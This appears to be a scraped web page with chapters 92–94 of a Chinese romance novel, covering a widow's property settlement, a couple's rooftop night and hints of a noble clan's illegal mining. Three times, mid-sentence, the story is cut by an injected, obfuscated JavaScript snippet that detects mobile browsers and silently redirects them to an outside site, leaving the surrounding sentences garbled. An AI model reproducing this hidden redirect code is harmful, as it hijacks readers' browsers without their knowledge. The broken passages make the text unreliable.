民声沸腾,几乎是一边倒地支持折夫人。 陈三老爷惊慌失措地看向自家二哥,被他狠狠剜了一眼,心下也颇为委屈,是他说只要揪着折夫人与人私通这一点不放口,便能将她的私产都尽数吞下的…… 最终,在众目睽睽之下,折夫人当场与陈家清算产业。 她条理清晰,账目分明,哪些是她的嫁妆,哪些是她经营所得,一一道来,“陈家祖产我分文不取,但属于我的东西,你们一件也别想拿走。” 陈二老爷脸色灰败,只能咬牙看着她干净利落地分割清楚。他心中暗恨,却无可奈何。若此刻再强行阻拦,吃相未免太过难看。 “从今往后,我与陈家再无关系。” 许是离开的心思存了许多年,分割结束的那一刻,折夫人的陪嫁嬷嬷也带着仆厮们将陈府内一应箱笼都归置好了抬出来。 折夫人最后看了一眼那生活了多年的府邸朱门,眼神复杂,却并无留恋,随封眠和百里浔舟一同走了出去。 陈府的大门关上,隔绝了外面窥探的目光,陈三老爷终于不再忍耐,哭丧着脸道:“怎么办啊二哥,大哥名下那些产业看着风光,其实亏空和欠债不知凡几,这可是个烫手山芋啊!这下是彻底砸在咱们手里了吗!” 陈二老爷咬着牙冷哼一声,“何止?那姓折的说以后与陈家再无干息,便是连大哥的身后事都不会再插手了。你我还得给大哥风光大办一场,否则,便是坐实了我们逼迫寡嫂图谋财产的恶名,往后更无法在云中郡立足!” 陈三老爷胖胖的身子一颤,险险晕过去,被三名仆厮托住才站稳了。 “还没走到绝路呢,慌什么呢?大哥走了,他的人脉总还在呢!只要你我抱紧了罗巡检这条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16455984|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路子……” 陈二老爷眼底划过一丝暗光,今日陈家被逼至如此境地,来日待天地换日,他定要那姓折的尽数都还回来! 云遮住了太阳,马车驶过青石板路,发出辘辘声响,随即在一个路口停了下来。 封眠撩起窗边帘幔,便看见百里浔舟策马停在外面,他俯下身轻声与她讲话,“我只能送到这里了,方才有人来报信,我得回去一趟……” “是不是那姓罗的回去找你麻烦了?”封眠见他含糊其辞,也没说是传来了军情,思绪一转,便想到了今日那来者不善的罗驰尔。 百里浔舟轻笑出声,伸手揉了揉封眠的发顶,“他能给我找什么麻烦?不过随便寻了几个借口,想为难一番罢了。我岂能被他刁难住了?” “轻衣会留下,一路送你们回王府。” 百里浔舟叮嘱完,替封眠拉上了窗,才策马离开。 车厢内,自上了马车后便一直沉默不语的折夫人望向坐在对面的封眠,“为我的事,给两位殿下添麻烦了。” “你方才也听见了,世子殿下哪能被一小小巡检刁难住?便是他姓罗,我母亲还姓褚呢,怕他不成?”封眠为她倒了杯热茶推过去,“你只管先安心在王府暂住两日,处理完剩下的事再说。” 封眠听说折夫人的娘家远在江南,父母也故去多年了,剩下的娘家兄弟们并不如何亲近,便想她便是离了陈府,应当也是不想回娘家的。又担心陈家的人私下再来找事,便决定将她先带去王府安置一番。 虽说今日将财产文书都做了分割,但仍有许多人员与合作事宜要做善后,折夫人且还有的忙呢。 “郡主今日为何这般帮我?” 四下静默,车厢内只有折夫人与封眠二人,折夫人终于没忍住问出了这个问题,“我与那巫傩确有私情。” 若非有封眠在旁引导围观百姓念起她平日的好与不易来,她早已被千夫所指。 “陈会长在外的风流情事难道还少吗?”封眠托腮,叹一口气,“我只是见世人皆能轻易原谅拈花惹草、行事荒唐的男子,甚至还要赞上一声风流,却偏要把你这般的女子逼上绝路,便觉得不公。” “你与陈会长早便已情份散尽,形同陌路,与和离无异了,再让你因为这桩婚事而失去手中所拥有的一切,就太难过了。” 折夫人垂下眼,向来明艳的面庞如今是肉眼可见的憔悴,“发现他有二心之时,我便与他提过和离了,他偏不肯,说陈府不能没有我这位当家夫人,以后陈府的后院也只会有我一人,求我留下。” “当初他帮过我家中一个大忙,念在那一桩恩情,我便答应了。说来也是好笑,其实那时我心中尚对他有一丝希望,或许他是在意我才不愿我离开。只是有一日他醉酒,我心急多念了他几句,他便让我不要管他,他也不会干涉我在外头……直到那时我才真的死心。” 她唇边牵起一丝极淡、极苦的笑意,却又好似终于从经年的折磨中解脱一般:“早知今日,何必当初呢……” 她静默伤怀了片刻,忽然抬眸看向封眠,仿佛下定了什么决心,“今日多谢郡主和世子殿下相救,救命之恩,无以为报。有件事……我思来想去,觉得必须告知郡主。” 92. 第 92 章 “怎么样小表妹,我请来的那两个人演得还算自然吧?” 封眠一只脚刚踏入王府的门槛,门廊的阴影里便倏地探出褚景淇那张眉飞色舞的脸。他挤眉弄眼,语气里满是藏不住的得意。 他这话一出,跟在封眠身侧的折夫人先是一怔,随即恍然,想起了人群中率先响应封眠所言,指责陈家人欺负她的那名中年男子,“那人居然是小侯爷安排的?” 褚景淇没急着答话,先是往两人身后张望了一番,确认附近没什么人,这才放心地从门后闪身出来,引着她们先往廊下走,不忘叮嘱:“先进来说话,可别被人瞧见了。我知道陈府闹出这桩事时太晚了,找人这事办得匆忙,痕迹未必干净。那罗驰尔是个阴森难缠的小人,被他查到是我找人推波助澜就不好了。” “你与他很熟?”封眠听他提起罗驰尔名字时,口气十分熟稔,好奇一问。 “可不敢跟他熟!”褚景淇连忙摆手否认,脸上浮现出心有余悸的晦气表情,“说起来就倒霉!大概五个月前吧,我跑去西南永宁州看异域舞姬的表演,好巧不巧碰上那歌楼除了桩命案,带队来查案的正是罗驰尔这个混蛋,他也不知怎么想的,硬是把风马牛不相及的我抓了起来。” “他就如今日挑拨云中郡百姓一般,挑拨永宁州的百姓。那永宁州的百姓哪里知道我是个多么天真纯良的小侯爷?更是远比不上云中郡百姓对小表妹你的信任敬爱,不过三两句就被他挑拨得好似认定了我是凶手一般,恨不能吃我的肉,喝我的血。” “迫于民意,永宁州竟无人敢出面保下我,硬是将我关了五日!整整五日!”褚景淇伸出五根手指,气得眉毛都快飞起来了,那架势仿佛罗驰尔若在眼前,他立刻就能扑上去咬一口,“你知道那五日我是怎么过的吗?” “虽说后来证实了我确是无罪,可那个混蛋顶着那张死人脸,一声抱歉也没有,还说是我平日行事飞扬跋扈,惹人误会。真是笑话!”他指指自己白净俊俏的脸,愤愤不平,“光看我们俩的脸,是个人都能分清我跟他到底谁是坏人好不好?” 封眠从他一堆饱含情绪的控诉里提取出关键信息:“他早就针对过你?小舅舅对此事怎么说?” 提起自家父亲,褚景淇的眉眼便耷拉下来了,悻悻道:“他能怎么说?不就是风风火火把我从永宁州揪回了北疆,让我离那姓罗的瘟神远一点呗。” “小舅舅亲自去救的你吗?”封眠追问。 褚景淇撇撇嘴,“是五哥恰好搜罗什么孤本路过,顺手把我捞出来的。我那个好爹爹,还是事后才知道的消息。他倒好,也不关心我在牢狱里吃了什么苦,也不想着让我多玩几日压压惊散散心,直接就派人把我揪回来了!” 封眠听着他的抱怨,心下却暗自思忖:无缘无故地,罗驰尔冤枉褚景淇做什么?仅仅只是有罗家在身后撑腰,便如此肆无忌惮,胆大包天,连侯府嫡子也敢随意构陷? “我看他就是单纯看咱们不顺眼,寻到借口就想让咱们吃上一些苦头,好显摆他那点权势罢了。”褚景淇大咧咧地拍了拍封眠的肩头,十分没心眼地替罗驰尔找到了理由,“你说罗公也是很温文儒雅一个老头子,怎么有这么一个孙子?” 封眠微微侧首,与落在身后的折夫人对视一眼。想到方才在马车内折夫人与她说的事,封眠便觉得罗驰尔绝对不仅仅是看褚景淇不顺眼,所以想要教训他一顿,这么简单。 只是看褚景淇这副全然未觉的样子,他显然并未深思,知道的内情恐怕也有限。此事,不如给当初亲自去捞他出来的五哥写信问一问。 说话间,一行人已穿过抄手游廊,拐过一道月洞门,再往前便是封眠所居的藏弓院。 褚景淇却忽然猛地停下,探头探脑地四处张望了一下,压低声音,带着点做贼似的心虚:“那个……小表妹,那位傅公子,这几日还住在王府吗?” 他缩了缩脖子,“他那人怪凶的,每次碰见,看我的眼神都冷飕飕的。我怀疑他想揍我!” 褚景淇满脸困惑:“我是不是以前在哪儿见过他,不小心得罪过他呀?他干嘛独独看我这么不顺眼?他连对着小百里都比对我脸色好!” 封眠微微垂首,遮掩住面上浮现出的一点无奈,心道他不是独独看不惯你一个,他是对姓褚的,都一视同仁的讨厌。 “放心吧,他今日出门去了,你碰不着他。” 褚景淇这才松了口气,挺直了腰板,嘴上却还不肯服软:“我才不是怕他!只是是觉得他那人阴阳怪气的,看着就烦!” 他嘟囔着,大步跟着封眠走进了藏弓院。 几人刚在花厅坐下,饮了半盏茶,送别那位出面作证的游方郎中的柳寄雪便匆匆赶到。 “折夫人,让我替您请一次脉。”柳寄雪担心她情绪伤身,坚持要替他把脉。她轻轻搭上折夫人的腕脉,凝心细察片刻后,温言道:“夫人气血亏虚得厉害,这两日心神损耗极大,接下来务必静心休养,万不可再劳心伤神了。” 她收起脉枕,又从随身的药囊中取出一个瓷瓶,“这里有些我配好的宁神静气的丸药,夫人睡前用温水送服一丸,有助于安眠。” 褚景淇在一旁瞧着,忽然凑过来,眼巴巴地问:“柳姑娘,柳神医!这宁神丸……我能吃吗?” 封眠挑眉他:“你好端端的,吃这个做什么?” 褚景淇立刻垮下脸,唉声叹气,语气夸张:“长夜漫漫,孤枕难眠,等不到弥荼的回信,我这心里头老念着,需得吃点药安抚安抚才好。” 封眠忍不住缩了缩脖子,搓了搓手臂:“哎呀,肉麻死了!” 褚景淇立刻跳脚,不服气地反驳:“嫌我肉麻?你和小百里吃个早膳都要挨那么近坐着,我在外头喊了半天也无人理我,这难舍难分的模样,就不肉麻了?” 折夫人忍不住低低笑出声来,柳寄雪也抿唇莞尔。 封眠耳根微热,作势就要把他往外撵:“再胡说,我就让世子殿下找人把你送回秦王府去!” “别别别!小表妹我错了!”褚景淇立马讨饶,灵活地躲到椅子后,赶紧抛出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16462008|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正事,“我母亲帮你联络好了一位极有才学的女师傅,姓苏,曾是江南有名的才女,如今守寡在家,学问人品都是顶好的,她已答应来北疆了。” “当真?” “千真万确!” 封眠这才放过他,让他重新坐回桌边。 柳寄雪关切问道:“郡主,那女子书馆,可是快要建成了?” “正要与你说此事。”封眠笑道,“馆舍已修缮得差不多了。除了基础的读书识字,我还想开设医理一课。就想请你这位女神医,闲暇时去给她们讲讲基础的医理药理,至少让她们懂得些养生防病的常识,能处理些小伤小病。你可愿意?” 柳寄雪闻言,想到自己行医时见过的许多妇人,因男女大防之苦,即便病痛缠身也羞于启齿,求医无门,顿时坚定道:“郡主此议甚好!若能多些女子通晓医理,于自身、于家人皆是福泽。寄雪不才,愿尽绵薄之力。” “好了好了,正事就谈到这里吧,求几位热心肠的女侠士帮我思量思量,这仲秋团圆节,我应给弥荼送些什么礼好?” “讨姑娘开心不是你最拿手的事吗,竟也有求我们出主意的一天?”封眠忍不住调侃他。 “她自然是最特别的……”褚景淇难得扭捏了几分,旋即催促道:“快点快点,快帮我想一想吧,再不将东西送去,就要赶不上过节了。” 是呀,马上就要到仲秋节,她是不是也应该给百里浔舟准备些礼物呢?封眠的思绪飘远了些,兀自托腮思索起来。仲秋节应是有灯会的,到时约他去灯会逛一逛呢?她还没去民间的灯会逛过,也不知往年他都是如何过的…… 一旁的褚景淇见封眠视线一飘便不说话了,正想上前喊她一声,便被一左一右的两人拦住了。 折夫人:“郡主怕是也正想着要如何给世子殿下准备礼物,小侯爷就莫要为难他了,我这儿主意多的是。” 柳寄雪只一味跟着点头,两人径直将褚景淇架走了,待封眠回过神来,屋内便只剩下了她一人。 灯烛许是被流萤和雾柳悄悄进来点上了,正一簇簇地轻晃着,照出窗外浓郁的暮色。 封眠心里已然有了主意,她溜到窗前喊人:“流萤?雾柳?世子回来了吗?” 檐下的灯笼在晚风中微微摇曳,晕开一圈圈暖黄的光晕,并无人回应。 左边脸颊上忽地传来一阵细微的痒意,封眠猝然扭头,霎时间便被馥郁的香味扑了满鼻。 清远绵长的香味在静谧的夜色下,让她的心跳骤然空了一拍。 一捧深红色的木芙蓉抵在她鼻尖之上,重瓣的花朵开得正盛,几乎将她的眼都遮住了,眼前只剩下一片灼灼其华的红。 封眠先是一怔,随即唇角不自觉地上扬。她抬起手,莹白的指尖轻轻压下繁盛的花枝。 豁然开朗的视野中,百里浔舟轻倚在窗边,手中举着木芙蓉,正含笑低头看她,眼底仿佛盛满了碎星。 廊下烛火在他轮廓分明的侧脸上投下柔和的光影,夜下和灯看美人,更比花娇。 93. 第 93 章 昏黄的烛光在夜色下显得暖融暧昧,夜风徐徐,轻轻吹动灯笼,摇晃间烛光轻缓地流淌在两人对视的眉眼间。 封眠忽然踮起脚尖,探出手就去掐百里浔舟的脸颊,“你吓死我了!” 衣袖下滑,露出两截雪白的手臂。 “当心。”百里浔舟见她探身的动作,担心她从窗内翻出来,非但不躲,反而上前一步,空着的那只手稳稳揽住了她的腰肢,微微用力,将她往上扶了扶,反让她能更省力地捏住他的脸颊“行凶”。 那捧深红的木芙蓉被挤在两人之间,馥郁的香气愈发浓郁,几片柔软的花瓣簌簌飘落,点缀在封眠的肩头和鬓边。 润泽的红唇与深红的花瓣相映,诱惑着百里浔舟的视线,指尖蠢蠢欲动。 “你走路怎么一点声音都没有?下次不许这样突然出现了……”封眠混无所觉,正兀自“谴责”他,见他一声不吭,垂着眼睛也不知道在想什么的模样,不由愈发努力地踮了踮脚,捏住他的脸颊肉晃了晃,重音强调,“听到了没有啊?” 话音在百里浔舟猝然凑近的动作下戛然而止。 百里浔舟就着她踮脚凑近的姿势,飞快地探身,在她唇上迅速啄了一下。 一触即分,如蜻蜓点水。 “听到了,眠眠。”声音温柔低哑,短短的几个字像是自唇齿间反复碾过一般,带着几许难以言说的缱绻。 封眠被他突如其来的偷袭惊住了,掐着他脸颊的手下意识松开,整个人倏地缩回了窗内,顺便抢过木芙蓉抱在怀中,堪堪用硕大的花朵遮住自己半张滚烫的脸,只露出一双水润黑瞳,瞪得圆圆的,带着三分羞恼七分无措,隔着花束瞪他:“你……刚说完,你就又吓我!” 百里浔舟丝毫认错的样子也没有,看着她轻笑出声,眼睛弯成极漂亮的弧度。 封眠心里那一点恼意,转瞬就被他笑没了。 她移开视线,告诫自己不能为美色所迷,闷闷地隔着花朵问道:“这花是哪来的?” “路边摘的。”他答得云淡风轻。 封眠将花捧到眼前,仔细端详,花瓣饱满,层叠似锦,品相极佳,她狐疑地抬眼:“这品相,怎么看也不像是路边的野花。你莫不是……翻了谁家的花坛吧?” 百里浔舟挑了挑眉,似乎没想到她会这般说,站在原地一时没能说出啊。 封眠瞧他这样,越想越觉得有可能,急忙道:“不行不行,赶紧的,带上银钱去给人家赔罪!” 她联想到了褚景淇被罗驰尔冤枉下狱的事,心有余悸,“这要是被罗驰尔那个煞星知道了,保不齐又要揪住这点小事大做文章。虽说云中郡的百姓大多明理,待我们也亲厚,但也架不住虱子多了痒,麻烦多了愁啊!” 看她一副着急上火、恨不得立刻拉着他去登门赔钱的模样,百里浔舟终于忍俊不禁,乐不可支地将迈步要往门边走的封眠拉了回来,:“给了给了,给过银钱了。是一位阿婆照料的花圃,她摘了些在路边卖。” 封眠这才松了口气,小声嘟囔:“这还差不多。” “难不成在你眼里,我便是那等强取豪夺之人?”这回换成百里浔舟捏了捏她的脸颊。 只轻轻捏了一下,便在封眠侧首贴过来时,摊开掌心托住了她的脸颊。 封眠就这样贴在他的掌心处,冲他弯起眼睛笑,“我这是关心则乱才对。” 掌心触碰到的肌肤嫩滑如凝脂,温热的呼吸不时轻轻洒在他的手腕处,泛起轻微的痒意,沿着手臂,一直蔓延至心口。 百里浔舟低头看她,目光一错不错,月色与灯影交汇,映得她如玉人一般。 他心中微动,轻声问:“困不困?” 封眠摇了摇头,“不困啊。” “那……”他顿了顿,冲封眠轻轻眨了眨眼,语带蛊惑与期待,“要不要去屋顶赏月?” 封眠眼睛倏地一亮,她还从未爬过屋顶呢,一时之觉得新奇无比,猛猛点头,“好啊!” 说着,她便将手中的木芙蓉搁到手边的花架上,然后迫不及待地扶着窗框往外爬,试图直接从窗户出去。 “哎,停停停。”百里浔舟被她这莽撞的动作吓了一跳,赶紧伸手制住她,又是好笑又是无奈:“有正门不走,你爬什么窗户?” 封眠实则是一时激动,忘记了可以走门这回事,但眼下被人制住了,不进不退地卡在窗户上,反而生起了一股挑战的心思,她马上就要上房顶了,连个窗户都不能爬吗? “我偏不想走门。”她将脖子一梗,就是不肯将爬了一半的腿撤回去。 百里浔舟闷笑两声,带着笑意妥协道:“好好好,那我们就爬窗户出来,来吧。” 他松开了扶着封眠胳膊的手,向后退开半步,给她留下可以施展的空间。 封眠两手攀着木制窗框,右膝跪在窄窄的窗槛上,左脚的足尖则在地上踮到了极致,几乎只有最前端一点接触着地面。她猛地用力,试图凭借这一撑之力将整个身体轻盈地攀上去,然而力道终究差了几分,左脚倏地跌回了原地。 她轻轻“哼”了一声,脸上并无气馁之色,重新调整了姿势,再次用力,这次连牙齿都用力地咬紧了,秀气的眉头也微微蹙起。 攀着窗框的手指因过度用力而微微泛白,指缘处又渐渐被硌得红了起来。她猛地一个用力,这次力道倒是够了,却因冲势过猛,一时没收住劲儿,额头直直朝着坚硬的窗框撞了过去。 一只骨节分明的手猛地探过来,稳稳垫在了她的额前,接住了她那颗莽撞乱撞的脑袋。与此同时,另一只温暖有力的手掌已然轻柔地拊上了她的腰侧,掌心温度透过薄薄衣料传来。 那只手只是微微向上一托,便将她整个人从窗内轻盈地捞了出来,裙摆在半空划过一道利落的弧度,旋即稳稳当当地落在了他的身前。 两指反叩,在封眠的额上敲了一记。 “一看你就没翻过窗,就不能喊我帮一下吗?”百里浔舟轻声中带着一点封眠竟然不向自己求助的不满。 他俯下身,想撩起她的裙摆看一眼,“膝盖疼不疼?我瞧瞧伤到没有……” 封眠往一侧躲了一步,“没事啦,快些走吧,怎么上去屋顶上呢?爬梯子吗?” 她像只第一次离巢学习飞翔的小鸟,雀跃得叽叽喳喳。 百里浔舟含笑听着,牵着她走到院中,抬起手臂稳稳环住她的腰肢。“抱紧了。” 他足尖轻点,身形便如鹤影掠起。 封眠下意识一闭眼,只觉得夜风拂过耳畔,再抬眼时,已然立在铺满月光的屋脊之上。 她下意识环住了身侧的百里浔舟,视线颤颤落在脚下的瓦片之上。 百里浔舟的掌心牢牢揽住她的腰,“别怕,我在呢。” 封眠缓缓深呼一口气,才试探着将视线放远一些。所见景色其实与楼阁之上登高望远时望见的差不多,只是如今换了个格外不同寻常的刺激场景,便仿佛多了几分趣味。 王府的灯火在脚下铺展,天边明月近得仿佛触手可及。 “来,坐下。”百里浔舟扶着封眠小心翼翼地在屋脊上坐了下去,旋即变戏法似的自身后取出两个小酒坛,坛身相撞,发出清脆的一声响。 “夜下赏月,岂能无酒相佐?” 封眠愕然地睁大了眼,左右瞧瞧空荡荡的屋顶,忽然眯起眼,“你是不是早就计划好了?” 百里浔舟但笑不语,将手中酒坛分给她。 这两日发生了太多事,他只想让她能开心一些。 封眠自然能猜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16465768|178713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出他是如何想的,心下一暖,接过酒坛抱在怀里,抬眼瞧见停在后院的马车,便与百里浔舟道:“今日在回来的马车上,折夫人与我说了件要事……” “此事紧急吗?”百里浔舟忽然打断她,“明日再说有影响吗?” 封眠愣了一下,想了想道:“那倒应该没有影响。” “那今夜就不说这些。”百里浔舟拔掉封住酒坛的葛布,单掌托住酒坛底部,向封眠的方向倾了倾坛身,示意她与自己碰一下。 封眠便将话咽了回去,准备掀开自己手中酒坛的葛布,忽然又想到什么,问道:“那个罗驰尔今日找你什么麻烦了?” 百里浔舟轻轻叹气,“一定要在如此美好的月色下,与我谈论别的男人吗?” “我这是关心你嘛。”封眠皱皱鼻尖。 百里浔舟伸手过去,两指一动便将葛布掀掉了,漫不经心道:“无非是揪了几名士卒的小错漏,想要借题发挥罢了。放心,他在北疆成不了什么气候。” “真的,不说这些了,快尝尝我备的酒吧。” 百里浔舟自己将酒坛凑到封眠面前,与她碰了碰,然后仰首就着酒坛饮了一口,十分洒脱快意的模样,余光则瞥着封眠的动作。 封眠两手捧着酒坛,亦仰头试探着喝一口酒,旋即便被呛得闭上眼吐了吐舌头,“好烈!” 听到身侧传来的闷笑声,封眠抬手便捶了过去,“你故意的是不是?” 攥成拳的手落进了一个温热的掌心。 “抱歉抱歉,拿错了,我手中这坛才是替你准备的。” 身侧的热源靠了过来,眼前的光被遮住了。封眠的眼睫颤了颤,缓缓睁开一线,便瞧见百里浔舟在面前放大的一张俊颜,他眼底微微含着笑意,近得能看清他根根挺翘的睫毛。 灼热的呼吸喷洒在她的脸颊上,连带着她耳后都升起了热意。 他几乎贴着她的唇瓣呢喃:“是甜的,你尝一尝。” 然后唇上便覆上了一片湿热,清甜的果子的味道自相贴的唇瓣间传了过来,封眠下意识伸出舌尖舔一舔唇瓣,便被逮住空隙衔住了。 重重的吻落下,唇舌的厮磨间,封眠渐渐仰起了头,迷蒙的视线间只能看见模糊的月的清辉,仿佛一片流动的金色池水,洒在他耳后。 腰间被紧扣着,灼热的掌沿着后背滑动,空气中清甜与酷辣的酒香交缠成一片稠密的、密不可分的湿雾。 耳边是细碎、克制又有些难耐的闷哼声,还有…… “你们两个,给我下来!” 一道咬牙切齿的声音惊雷一般在院中响起,两人齐齐一抖,飞速清醒了过来。 百里浔舟挡在双颊潮红的封眠面前,小心翼翼向院内看了一眼,便见封辞偃黑着脸叉腰站在院内。 他咬牙再次强调了一遍:“下来!” 夜风习习,卷去了身上的燥意,百里浔舟将封眠半遮在身后,两人都垂首乖巧地挨训。 “你们俩嫌活着不够刺激是不是?深更半夜爬什么屋顶?摔下来怎么办?” “尤其是你!百里浔舟,你摔了就摔了,小满又没习过武,你还带着她胡闹?”封辞偃集中怒火训斥百里浔舟。 百里浔舟蔫头耷脑:“都是我的错,是我考虑不周,硬要带眠眠上屋顶的……” “小叔叔你别怪他,阿琢武功那么好,他能保护好我的。是我想上去看看月亮,我们下次不敢了!”封眠赶紧替百里浔舟说话。 “还敢有下次?善泳者溺,你怎知他不会失手?都是成家的人了,行事还如此不知轻重……” 封眠见封辞偃还要再训,连忙站出来转移话题:“小叔叔,折夫人今日与我说了一桩要事!再不说就来不及了!” 封辞偃狐疑瞧她。 94. [锁] [此章节已锁] 屋内烛火通明,紫檀案几前,三人围坐着。 封眠认认真真地将折夫人所言转述了一遍,“她说陈会长生前,私下里没少为罗家办事,处理一些见不得光的银钱往来。” 手边推来一盏温茶,封眠正好有些口渴,便端起来喝了两口,润了润喉才接着说道:“她有一次无意间在陈会长的书房打开了一个暗格,瞧见过一份信件的拓本。” 手背又被微凉的盏壁碰了一下,封眠垂眸,便见竹青色的茶盏内堆着几粒圆滚滚的剥了皮的葡萄,小银叉戳在晶莹的果肉上,渗出一点透明的汁水。 视线微微往旁边一挪,封眠便瞧见百里浔舟手上正在一点点细致地拨着葡萄皮,似乎因为指尖黏着葡萄汁液不太舒服,眉心时蹙时舒的,剥好一个便如临大敌地捧在指尖,小心翼翼放进面前的茶盏里。 笃笃,两声敲桌声唤回封眠的视线,对面的封辞偃一手搁在桌上,挑眉瞧她,“说完了?” 封眠讪讪一笑,拿起小银叉戳着的葡萄一口吞掉,继续将事情说完:“她没来得及细瞧,只隐约看到‘矿山’、‘私铸’等字眼。” 封辞偃扬了扬眉。 “她说那拓本藏得极其隐秘,显然关系重大。这些年她也明里暗里地想过查一查,但一无所获。” 封眠说罢,小叉子落下又抬起,几口便将茶盏内的葡萄吃完了,一只骨节修长的手便适时地伸过来,将空茶盏取走,换上一盏新剥的葡萄。 封眠悄悄眯眼笑起来。 百里浔舟看着她拿着小叉子将葡萄送到嘴边,心下颇为遗憾,他很想亲自剥了葡萄喂到她嘴边,就像书里头画的那样,可惜…… “咳咳。” 可惜有个比屋内灯烛还要闪亮的小叔叔在场。 封辞偃轻咳两声,瞥了一眼百里浔舟。虽说他一直自带老岳父般的眼光,天然就看百里浔舟处处都不顺眼,但眼下他又是给封眠倒水又是给她剥葡萄,倒真是挑不出什么刺来。 “方才小满说的那些,你都听见了吗?” 百里浔舟点点头:“听见了,陈家与罗家私下有些见不得人的勾当。” 他一心二用,手上动作不停,正经事半点也没有落下。 “陈家在云中郡这么久了,你和你爹就没发现一点不对劲儿的地方吗?” 百里浔舟还没开口,封眠便先回护道:“小叔叔,阿琢和王爷都是武将,整日里忙着巡边,对一个云中郡商户私下搞的些小动作,自然难免疏漏。” “我才问一句,你就急着护上了。”封辞偃无奈摇头。 封眠笑眯眯将手中还剩一粒葡萄的茶盏推过去,“小叔叔吃葡萄。” “无福消受啊。”封辞偃将茶盏推回去。 “小叔叔说得不错,是我和父亲掉以轻心了。”百里浔舟坦然道,“罗家人这是第一次出现在北疆,真没想到会有人与他们暗中联合。” “罗家光一个小的就那么阴险狡诈,其他人做事怕是更是隐秘难测。”封眠托腮想了想自己曾见过的罗家人,“你瞧宫里头的柔妃,不也是蔫坏得很。我看流着罗家血脉的上上下下这么多人里,也就褚景涟一个小蠢蛋。” 封辞偃神色微凝:“你在宫中时,他们可曾欺负你?我记得柔妃与你母亲素来不睦。” “有舅舅护着我,他们也做不了什么太过分的事,褚景涟可从没在我这儿讨到便宜。”封眠眨眨眼,忽然想到什么,“不过小叔叔可知,太后为什么那么不喜我母亲吗?” 太后待先皇的每一个子女都十分宽厚,独独对她母亲多有指摘。 封辞偃的神色古怪了一瞬,说道:“太后与安乐公主的生母,曾是死对头。” 封眠恍然大悟了:“噢,所以他瞧见自家儿子待我母亲如亲姐弟一般,才会那么生气。” 封辞偃沉默的点了点头,旋即换了个话题:“既然已知晓陈家和罗家有问题,那便查起来吧。” 他看向百里浔舟,目光如炬。 于是之后数日,百里浔舟与封辞偃都没有回府。 恰好临近秋播,广袤田间一派繁忙景象。封眠难得见到这般热火朝天的农事,兴致勃勃地提着裙摆跑到田边围观。 她在宫中虽也见过亲耕礼,但那走个过场的仪式,远不如眼前这连绵的田垄与其间无数劳作的百姓来得震撼。 成立虚带着司农署的同僚们,正在荒地旁教百姓们如何种下土豆红薯的种子。 封眠沿着窄窄的田垄往前走,不料脚下泥土松软,一个趔趄,不小心便撞到了田垄下的一个人。眼见她便要砸到那人身上,身后伸来一只稳健的手轻轻托了他一把。 顾春温自田垄下站着,衣角站着泥土也依然风姿卓然,“郡主当心。” 待将封眠扶稳站好了,顾春温才去把方才被封眠撞倒的陆鸣竹扶了起来,“陆兄还是莫要站在如此危险的地方了。” 他真怕陆鸣竹被耒耜撞倒剐蹭了。 陆鸣竹从地上爬起来,衣袍沾得都是尘土,闻言耳根微红,笑道:“无妨无妨,若不是我方才在这里垫了一下,郡主便要摔下去了。” “抱歉,陆大人。”封眠颇为不好意思地笑笑。 陆鸣竹赶忙摆手,“无妨无妨,我今日若非得倒霉一次,如此反而甚好!” 他磕绊一下,解释道:“我是说,好过被地里的牛顶到。” 封眠没忍住笑出声来。 日光洒落在穿着一身杏黄云锦八破裙的封眠身上,织金暗纹浅浅流光,愈发衬得笑容明亮。 这时身后有侍从小跑着上前来报:“郡主,京中来人了。” “陛下与太子殿下特意命臣为郡主送来节礼。”使臣恭敬行礼,身后的侍从们将身前的檀木箱一一打开。 “舅舅最近身体可好?”封眠只看了一眼琳琅满目的箱子,便收回了视线。 使者恭敬回禀:“陛下近来染了些风寒,虽不严重,却总不见好。太医嘱咐要好生休养,太子殿下说,盼您多写几封信回去,也好督促陛下按时服药。” 舅舅这么大的人了,督促她吃药时总是严厉得很,轮到自己倒不会好好吃药了?封眠蹙眉,在心下记了一笔。 “太子殿下记着郡主爱吃蟹,特意亲自挑了几篓肥蟹送来。”使者将封眠向前领了几步,足足三篓肥美的螃蟹,个个青壳白肚,被蒲草绑着,钳子还在缓慢地夹动着。 千里迢迢运来的蟹,摆在她面前的活蟹便有三篓,也不知路上死了多少只。封眠有些心疼,又感动于太子兄长惦记着给她送蟹。 后日便是仲秋了,也不知百里浔舟能否赶回来? 回屋头,她提笔给百里浔舟写了张字条,又画了一只憨态可掬的胖螃蟹,孤零零地盯着小池塘,模样可怜巴巴的,命人快马给百里浔舟送去。 